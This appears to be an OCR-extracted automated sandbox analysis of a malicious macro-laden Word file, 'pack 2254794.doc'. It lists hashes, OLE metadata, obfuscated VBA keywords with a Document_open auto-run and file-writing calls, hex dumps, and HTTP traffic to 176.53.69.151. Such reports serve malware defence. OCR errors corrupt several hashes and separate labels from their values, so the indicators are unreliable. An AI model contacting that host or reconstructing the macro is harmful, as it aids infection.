Time/Date: Tue Jan 5 06:14:00 2021, Number of P
ages: 1, Number of Words: 3222, Number of Characte
rs: 18371, Security: 8

6.685015184938068

e Microsoft Word document (32009/1) 79.99%
e Generic OLE2 / Multistream Compound File
(8008/1) 20.01%

pack 2254794.doc
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General
File size:
MD5:
SHAL:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "pack 2254794.doc"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Summary
Code Page:
Title:
Subject:

Author:

Keywords:
Comments:
Template:

Last Saved By:
Revion Number:
Total Edit Time:
Create Time:

Last Saved Time:
Number of Pages:
Number of Words:
Number of Characters:
Creating Application:

Security:

Document Summary
Document Code Page:
Number of Lines:

Number of Paragraphs:
Thumbnail Scaling Desired:
Company:

Copyright null 2021

edeea2aaadbdbdad

OLE

True
Microsoft Office Word
False
True
False
False

False

True

1252

172398
lelec8dd9b25146¢cc2104be64d6fIbf0
d7253cfd0015dbb38c6e2bb602216468d83e4bla

048e5df452e4ba303faa434c138839e4fdf6e8e5004ced5
8aa30569573edal7e

8941fade0ef02a23663db80b63cae810a059a711e1254e:
404ed63607a56ebac5ale7f2d86279edbe4120225b2ac0
ee4e4b11071d73db7b1867140d53723be23

3072:59ufstRUUKSns8TO0JSHUgteMJ8qMD7g5CelSW
psbP:59ufsfglfOpL571/8P

>

backing up Grove Avon systematic copy THX Steel functionalities Upgradable infrastructure

Technician

Clmence Nguyen

Normal.dotm
Quentin Collet

1

0

2021-01-05 06:14:00
2021-01-05 06:14:00
1

3222

18371

Microsoft Office Word
8

-535
153
43

False

Page 20 of 48



Document Summary

Contains Dirty Links: False
Shared Document: False
Changed Hyperlinks: False
Application Version: 917504

Streams with VBA

VBA File Name: Oi50elv0_s4, Stream Size: 17886

General

Stream Path: Macros/VBA/Oi50elv0_s4

VBA File Name: Oi50elv0_s4

Stream Size: 17886

Data ASCII:

Data Raw: 01 16 01 00 00 fO 00 00 00 7c 06 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 83 06 00 00 93 30 00

00 00 00 00 00 01 00 00 00 ae c5 5b 6b 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

VBA Code Keywords

Keyword

DyjPBI

dLrgANHCG
EajdMLeD

rgBSB

Object

YiNpyrf

rJgMzlIi

PGiog
T_dehutl_mggmhizd
EUMDPGt

xkIXAAC
AybxtEBCJ.Close
JhiYfXc:

VusSK

"fUWLGVIQYH"
UUO0AB.CreateTextFile("XFtOCOULb:\dMKcFHF\GAGPCEp.ZPnnAM")
bGnhXCA
VJIbwzTDT.Close
VwnpBEIhO

MMAQSI

UPhhYZEF
"bVawaPADALVIWFFA"
NFWzF
"HITYACImMCuGQFFJ"
sGvJIWh

PmBxcD:

SfMKIOk
"TthascRIXHZH"
AybxtEBCJ:

SFmreEDJ

zOBhOx

fUGQf

numuq

rEeiBJ
Chw2zVJiB.CreateTextFile("gMEpHB:\SKWVvYCA\YtZgA.fQOAE")
RkPWCDPC

JADCpjk

PmBxcD

pDPzBImM
bGMXEIA.CreateTextFile("grPSDMS:\IQkJoR\aZMUgjGC.pVvhaH")
WSARpB
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Keyword
EUMDPGt.Close
HnBVAEH
"WXovaGHxgSIut"
QEIFFM
bPFNuJ.WriteLine
"PzrrnlFtpmxAXx"
EUMDPGt:

iIONFzHG
"akTuJalGmZrUyF"
gpOWEIHHA

yJouG

XwZxsHCGt

FTalMbF

XDJIPUW
"ALpzEMcwuWI"
gQxBD:

UUoAB
tcYiEMeRH.Close

niHrl
eUdbDAHHs.WriteLine
"uJnfBHIPFKBXHBMEE"
FPWaF
JADCpjk.WriteLine
xxYeFGUAH

rfDgD
njKwJdA.WriteLine
"bOOXnOJYtbRAbmM"
VJIbwzTDT:
RKPWCDPC:
UPhhYZEF.Close
eWkHqgVao

Resume

XKPUEfhk

RLurCDDF

gglHam
"budRDJIKVNIRU"
DRrKpoA

“Jan"
lgZzgGO
"gcZaHCGUVJsFmL"
"yKdIWHAnigHFCB"
ThHBBDuU
tcYiEMeRH.WriteLine
waShs

VIIHAA

vutdEkdRL

NSiRQzd
"frvwIFHIKftmZHE"
OtQPAJH
AybxtEBCJ.WriteLine
XTdPHz

OBwIBYy:
JADCpjk.Close
QZjuH
"DKkRMTYGAMxgHI"
zOQIGPVC
"dWnMFoTBPDgeJK"
jPnRGLC
CbMZSLFAM

kboRA

ORIzFDySE
DRrKpoA.Close
VAEDpBCV
UJSEDH:
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Keyword
QZjuH.CreateTextFile("EEGVGUF:\XrXnHGDDB\noadJZ.yGcKj")
"bAurYaGPWGKRIiG"
bPFNuJ
"koDuGgAOJBILgZIEme"
DyjPBI.CreateTextFile("OPLPBI:\fNyAExIq\jrtno.FyobBAAFE")
hiZKEEF.WriteLine
tXKQv
xCaTC.CreateTextFile("Oafyb:\RPNGMA\cmOgEyD.EEpGjE")
viDUw
RkPWCDPC.WriteLine
aLGptGA
"kWzGMzIVefGB"
"ncDMUladusSIDx"
VB_Name
RkPWCDPC.Close
"JCgbIEAJIZSTW"
UJSEDH
eUdbDAHHSs.Close
"HfXAPQQbXKJHFGuU"
eBddHTXP

AybxtEBCJ

OBwIBy
RNgUODjsM.CreateTextFile("FyNFG:\ugXUH\cZIFypIHj.tRULIINC")
VJIbwzTDT.WriteLine
ItSfCDCB
Mid(Application.Name,
JhiYfXc.Close

PAxhJ
"TJahKRWdrvHFIly"
XxOnWA
xkIXAAC.CreateTextFile("tLvao:\aGKUA\AhQhj.BDOQSJWG")
"IRCGHADAHIIHJJA"
00ysMtDG

syDRd
dLrgANHCG.CreateTextFile("IBasV:\tFGoGJd\zBuHfBCN.AHGggll")
cTfCJ

hiZKEEF

"GhifcDKIpA"
00ysMtDG.WriteLine
FgmzCEm

bPFNuJ:
"HwixyOCYxmojd"
UMzHfyAfA

00ysMtDG:
"eSpcpGDZncccrFb"
oMcHDXEF

reTrs
"BWSOKPyHMnSQxi"
EJEApPM

JADCpjk:

XjhOHEMDC

gQxBD
"xtsHGQjpNzDIYJ"
pPSFXACJ

wUO0JIFDD

HOKLRDGd
njKwJdA.Close
RVFOAEPH
HMyHCQCGu

njKwJdA
"GgMIEnOQFEEDSE"
bGMXEIA

eUdbDAHHSs:

rtGyqOth
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Keyword

wuKBFvql

hSbDPCC
hSbDPCC.CreateTextFile("pygNv:\znIpFIR\yniMs.nmilGDEDA")
rEeiBJ.CreateTextFile("VxskFWpm:\cuyOFYrFI\SZSlaGJZi.TeBYCDZ")
cSHKDL

bIQEM

nKtfECko

RUMGE

Zpeehqgbjjey.Create

uJSEDH.WriteLine

xNJyUCNg

"BQUMCIMmIAGIKV"

yyoqEHETuU

GNnzJzE
HnBVAEH.CreateTextFile("ehLoAm:\PAVZIAGU\}VPHv.fAgoFBYmC")
yUWXTIVAC

TxAVq

EVOuqJnGD

"cnLcFXEphoEbAFA"

CksLIVJ

PmBxcD.Close

njKwJdA:

XsKjcKE

"GDTGAEJpuRNDBFQ"

"ZRotGHIxyrpSqvsXCC"

SOunIGkF

"lanw["

JhiYfXc

ChwzviiB
IEOQIGYxK.CreateTextFile("sojcFeJ:\zxDxYHqg\rNbtS.PtHUEEP")
"OnehVAaWbfCACAjsG"

iytziJ

"ohaTGaUTSwwDVv"

"gMnfwCwbPJC"

"vRrzDEngIQVFPJfE"

zgBjJOGEH

tcYiEMeRH:

OBwIBy.Close

NtpdEJIDH

gQxBD.WriteLine

"WMwcBSqgFohy"

EUMDPGt.WriteLine

gQxBD.Close
PAxhJ.CreateTextFile("dFVzNBE:\EBCOIEEOJ\KIKcJKk.SVIVOAEQG")
QrvtQr

VIbwzTDT

UPhhYZEF.WriteLine

uJSEDH.Close

Zpeehgbjjey

RNgUODjsM

NBJEFGnEA

00ysMtDG.Close

YzIkA

tcYiEMeRH
xxYeFGUAH.CreateTextFile("eCzvxHN:\cgVnKGAT\YcnDi.YqiJOp")
"TOSxJalzCudpDIB"

fubDmDCt

"utFMeJhUKJhJ"

aTfPCap

"SiDfYFUFPynYGu"

wCjuwBBGN

JHrNWdBsW

bPFNuJ.Close
XwZxsHCGt.CreateTextFile("TNJvoD:\walkrfAE\EalrWFWTE.wDSOEJ")
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Keyword
"rVpvDaGGxNfeNUF"
hiZkEEF.Close
Nothing

UPhhYZEF:

IYKcgC

dTtuVsDVA

VcliQJFi
JhiYfXc.WriteLine
"[VSXGfhYCxoHFD"
IEOIGYxXK
"0zrZBTZBTMMIBB"
hiZKEEF:
"goMgGBdIJMUDLAG"
WINCAKUFt
"MVKIFCHFTnhRgD"
PmBxcD.WriteLine

rgBSB.CreateTextFile("PkeJHBJIJH:\ODIJMGCw\NefpJHVCX.XzgyeCQUA")

SynsDAgHG
"PFQdBLHsDNfTZv"
VItXEH
"OTLmMJICwhyQMFzIB"
oUWfIGBeE
"OcgtIFEeolFhxt"
Error
"IHuxHADjraNFBgl"
CCnbXRBeA

AIICOj

VcliQJFi.CreateTextFile("gNgYGZ:\CatdBMGGg\qGsdAdOQH.cJsxtdJE")

CmcBTTABc
Attribute

CHKzNBD
TEXNGIiH
"cGDcNrWsPeGCDF"
LVadAF

mmkTuwH
eUdbDAHHs
Function

VbMBBgf
MfgnKGWI
ukrnlFCE
EbuwEJS
WxujBIAMz
DRrKpoA:
"dvqIBFEqwfkl"
kskMAAHA
OBwIBy.WriteLine
xCaTC

zLKkRIiC
DRrKpoA.WriteLine
"dxIGdcCHBKYgde"

VBA Code

VBA File Name: Qafkrimwsho, Stream Size: 697

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Copyright null 2021

Macros/VBA/Qafkrimwsho
Qafkrimwsho

697
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General

Data Raw:

VBA Code Keywords

Keyword
Attribute
VB_Name

"Qafkrimwsho"

VBA Code

VBA File Name: Wm_t404p8v_, Stream Size: 1106

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

Private
VB_Exposed
Attribute
VB_Creatable
VB_Name
Document_open()
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 146

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

01 16 01 00 00 fO 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff f ff 23 02 00 00 83 02 00
00 00 00 00 00 01 00 00 00 ae c5 45 f2 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Macros/VBA/Wm_t404p8v_
Wm_t404p8v_
1106

01 16 01 00 00 fO 00 00 00 de 02 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff €5 02 00 00 75 03 00
00 00 00 00 00 01 00 00 00 ae c5 f3 6 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff ff ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

\x1CompObj
data

146
4.00187355764
False

........................... F........MSWordDoc.....Word.Document
.8..9.9@..... > :.C.<.5.=.B. .M.i.c.r.o.s.o0.f.t. .W.o.r.d. .9.7.

01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 00 00 00 00
0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74
2e 3800 f4 39 b2 71 40 00 00 00 14 04 3e 04 3a 04 43 04 3c 04 35 04 3d 04 42 04 20 00 4d
00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 6f 00 72 00 64 00 20 00 39 00
37 00 2d 00

Stream Path: \x5DocumentSummarylinformation, File Type: data, Stream Size: 4096

Copyright null 2021
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General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \x5Summarylinformation, File Type: data, Stream Size: 528

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: 1Table, File Type: data, Stream Size: 6424

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Data, File Type: data, Stream Size: 99189

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

\x5DocumentSummarylnformation
data

4096

0.279952994103

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c¢ 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 f4 00 00 00 Oc 00 00 00 01 00 00 00
68 00 00 00 Of 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00
00 00 8¢ 00 00 00 17 00 00 00 94 00 00 00 Ob 00 00 00 9¢ 00 00 00 10 00 00 00 a4 00 00 00
13 00 00 00 ac 00 00 00

\x5Summaryinformation
data

528

4.08784807247

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 €0 85 9f
f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 e0 01 00 00 11 00 00 00 01 00 00 00 90
00 00 00 02 00 00 00 98 00 00 00 03 00 00 00 70 01 00 00 04 00 00 00 58 01 00 00 05 00 00
00 a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 40 01 00 00 09

00 00 00 d0 00 00 00

1Table

data

6424
6.13606471955

True

.6...6...6...>...6...6...6...6...6...6...6...6...
.6...6...6...6...6...6...6...6...6...6...

6a 04 11 00 12 00 01 00 Ob 01 Of 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00
00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00
9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06
00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00
76 02 00 00 76 02 00 00

Data

data

99189
7.39018675385

True

u D.d.....ooooiiiiii 1g., b j
.................. c 8 A2 i ... LB.ALC.=
> 1..... e R......... {..Bg md.z.M..........
D........ F.o..... {..Bg md.z.M........

758301 00 44 00 64 00 00 00 00 00 00 00 Oa 00 00 00 00 00 00 00 00 00 00 00 00 00 2f 67
eb 2c 62 01 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 0f 00 04 fO 6a 00 00 00 b2 04 Oa fO 08 00 00 00 01 04 00 00 00 Oa 00
00 63 00 Ob f0 38 00 00 00 04 41 01 00 00 00 3f 01 00 00 06 00 bf 01 00 00 10 00 ff 01 00 00
08 00 80 c3 14 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 488

General

Stream Path:

File Type:
Copyright null 2021

Macros/PROJECT

ASCII text, with CRLF line terminators
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General

Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 110

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 5146

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBAIdir, File Type: data, Stream Size: 630

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: WordDocument, File Type: data, Stream Size: 25134

General

Stream Path:

File Type:

Stream Size:

Entropy:
Copyright null 2021

488
5.44671163464
True

ID="{328404EF-416C-4DE8-9A42-20156D222C26}"..Docume
nt=Wm_t404p8v_/&H00000000..Module=Qafkrimwsho..Modul
e=0i50elv0_s4..ExeName32="Tj8dtfsuopdk”"..Name="mw"..H
elpContextID="0"..VersionCompatible32="393222000"..CMG
="1012B2B0B6B0B6B0OB6B0OB6"..DPB="82802050935193

49 44 3d 22 7b 33 32 38 34 30 34 45 46 2d 34 31 36 43 2d 34 44 45 38 2d 39 41 34 32 2d 32
30 31 35 36 44 32 32 32 43 32 36 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 57 6d 5f 74 34 30
34 70 38 76 5f 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 4d 6f 64 75 6¢ 65 3d 51 61 66 6b 72 69
6d 77 73 68 6f 0d Oa 4d 6f 64 75 6¢ 65 3d 4f 69 35 6f 65 6¢ 76 30 5f 73 34 0d Oa 45 78 65 4e
61 6d 65 33 32 3d

Macros/PROJECTwm
data

110

3.60650024781

False

Wm_t404p8v_.W.m._.t.4.0.4.p.8.v._...Qafkrimwsho.Q.a.f.k.r
.i.m.w.s.h.o...0i50elv0_s4.0.i.5.0.e.1.v.0._.s.4.....

57 6d 5f 74 34 30 34 70 38 76 5f 00 57 00 6d 00 5f 00 74 00 34 00 30 00 34 00 70 00 38 00 76
00 5f 00 00 00 51 61 66 6b 72 69 6d 77 73 68 6f 00 51 00 61 00 66 00 6b 00 72 00 69 00 6d
00 77 00 73 00 68 00 6f 00 00 00 4f 69 35 6f 65 6¢ 76 30 5f 73 34 00 4f 00 69 00 35 00 6f 00
65 00 6¢ 00 76 00 30 00 5f 00 73 00 34 00 00 00 00 00

Macros/VBA/_VBA_PROJECT
data

5146

5.51240945881

False

B *\.G.{.0.0.0.2.0.4.E.F.-.0.0.0
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...1.#.9
#.C...\.P.R.0O.G.R.A.~.2.\.C.O.M.M.O.N.~.1.\.M.I.C.R.O.S
~.1.\.V.B.A.\.V.B.A.7.\.V.B.E.7...D.L.L.#.V.i.s.u.a.l. .B.a.s

i.c. LF.

cc 61 97 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00
05 00 02 00 fa 00 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 31 00 23 00

Macros/VBA/dir
data

630
6.3062184781

True

|, 0*..... p..H.."..d..... m..2.4.@..... =....b............ a
%.J<..... rst dole>.2s..t.d.o.l..e...h.%"...*\G{0002°0430-.

L.Cll 0046}.#2.0#0#C.:\Window.s\SysWOW.64\.e2.tl.b#

OLE Au.tomation.. ....Norma.l.EN.Cr.m..a.F.. ...... *WC.......

.a...1Offi

01 72 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4
04 04 02 1c 6d a2 a2 32 00 34 00 00 40 02 14 06 02 14 5a 3d 02 Oa 07 02 62 01 14 08 06 12
09 0102 12 08 e2 e3 61 06 00 Oc 25 02 4a 3c 02 Oa 16 00 01 72 73 74 20 64 6f 6¢ 65 3e 02
32 7300 00 74 00 64 00 6f 00 6¢ 00 a0 65 00 0d 00 68 00 25 5e 00 03 00 2a 5¢ 47 7b 30 30
303260303433302d

WordDocument
data
25134
3.92042329439
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General
Base64 Encoded:
Data ASCII:

Data Raw: ec a5 ¢1 00 5f cO 09 04 00 00 8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 59 5¢ 00
00 Oe 00 62 6a 62 6a 00 15 00 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19
04 16 00 2e 62 00 00 62 7f 00 00 62 7f 00 00 59 54 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff Of 00 00 00 00 00 00 00 00 00 ff ff Of
00 00 00 00 00

Network Behavior

Network Port Distribution

Total Packets: 34

® 53 (DNS)

® 80 (HTTP)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Jan 6, 2021 08:49:13.615979910 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.693485022 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.693684101 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.699331999 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.808119059 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.808175087 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.808206081 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.808227062 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.808237076 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.808267117 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.808280945 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.808304071 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.808339119 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.808341026 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.808373928 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.808407068 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.808409929 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.808442116 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.808479071 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.882118940 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882172108 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882200956 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882222891 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882225037 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.882266045 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882276058 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.882293940 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882318974 CET 80 49167 176.53.69.151 192.168.2.22
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 6, 2021 08:49:13.882334948 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.882344961 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882373095 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882381916 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.882401943 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882426023 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882437944 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.882450104 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882467031 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882493973 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.882496119 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882524014 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882535934 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.882548094 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882575989 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882590055 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.882601023 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882623911 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882648945 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.882654905 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.882695913 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.957150936 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957180977 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957206964 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957227945 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957248926 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957263947 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957289934 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957308054 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957307100 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.957324982 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957349062 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.957354069 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.957357883 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957380056 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957415104 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957437038 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.957437038 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957457066 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957479954 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.957479954 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957505941 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957521915 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.957525969 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957549095 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957564116 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957570076 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.957590103 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957607031 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.957612038 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957633018 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957647085 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957653046 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.957676888 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957688093 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.957700968 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957726002 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957741022 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.957751989 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957776070 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957792044 CET 49167 80 192.168.2.22 176.53.69.151
Jan 6, 2021 08:49:13.957801104 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957825899 CET 80 49167 176.53.69.151 192.168.2.22
Jan 6, 2021 08:49:13.957849979 CET 80 49167 176.53.69.151 192.168.2.22
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Timestamp Source Port Dest Port
Jan 6, 2021 08:49:13.957858086 CET 49167 80

Jan 6, 2021 08:49:13.957875967 CET 80 49167
Jan 6, 2021 08:49:13.957889080 CET 49167 80

Jan 6, 2021 08:49:13.957902908 CET 80 49167
Jan 6, 2021 08:49:13.957926989 CET 80 49167
Jan 6, 2021 08:49:13.957946062 CET 49167 80

